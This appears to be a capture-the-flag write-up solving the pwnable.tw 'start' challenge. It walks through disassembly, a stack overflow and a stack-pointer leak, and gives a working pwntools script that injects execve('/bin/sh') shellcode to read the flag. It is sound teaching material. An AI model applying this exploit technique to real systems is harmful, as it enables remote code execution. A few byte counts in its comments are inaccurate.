This is the first challenge of pwnable.tw. Fitting to it’s name, it requires some basic knowledge of buffer overflows and x86 assembly.
First, let’s see what kind of security it has built in:
Notice how the stack is executable, and there’s no stack canaries. This will come into play later.
We can disassemble the program with objdump -dM intel start
:
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4
804808f: cd 80 int 0x80
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3
8048097: cd 80 int 0x80
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
80480a1: cd 80 int 0x80
The program first pushes the stack pointer, then the return address (_exit). After that, it pushes 20 bytes, and prints them to stdout with the first int 0x80
. dl specifies the amount of characters printed, which is exactly 20 characters (our 5 dwords). The program then reads 63 characters of user input with the second interrupt. This is where the vulnerability is.
We can overwrite string previously printed, along with 43 more bytes of used space. We can exploit this to overwrite the return address with, you guessed it, the stack pointer. The only issue is we don’t know where the stack is. While the binary doesn’t have PIE, where our data resides on the stack will still vary due to things such as environment variables. This binary is way to small and simple to do a ROP chain, so we’ll have to leak the stack.
If we go to address 0x8048087, we’ll print 14 characters of where we are on the stack. That add esp, 0x14
at the bottom moves our stack pointer past the string previously printed, meaning the first thing it will print is the stack pointer. By leaking the stack pointer, we can jump to the stack by overflowing the same prompt a second time.
Putting all these things together, we can overflow the return address to leak the stack pointer, calculate offsets from the leak, overflow the same prompt a second time, returning to a stack controlled by us:
#!/usr/bin/env python3
from pwn import *
# just setting things up
context.binary = './start'
proc = connect('chall.pwnable.tw', 10000)
# we perform our frst buffer overflow after it prompts us to leak the buffer
proc.sendafter('CTF:', p32(0xb) * 5 + p32(0x8048087)) # 24 bytes
stack_leak = unpack(proc.recv()[:4]) # stack leak, due to "push esp" in first instruction
# This is our payload
payload = b'/bin/sh\0' # 4 bytes worth
payload += asm('''
push 0
mov eax, 11
mov ebx, {}
mov ecx, {}
mov edx, {}
int 0x80
'''.format(stack_leak + 20, stack_leak-60, stack_leak-60))
print(hex(stack_leak))
proc.send(p32(0xbbbb) * 5 + p32(stack_leak + 28) + payload)
proc.send('cat /home/start/flag\n')
print("The flag is \"{}\"".format(proc.recv().decode().strip()))
The exploit will hand over the flag!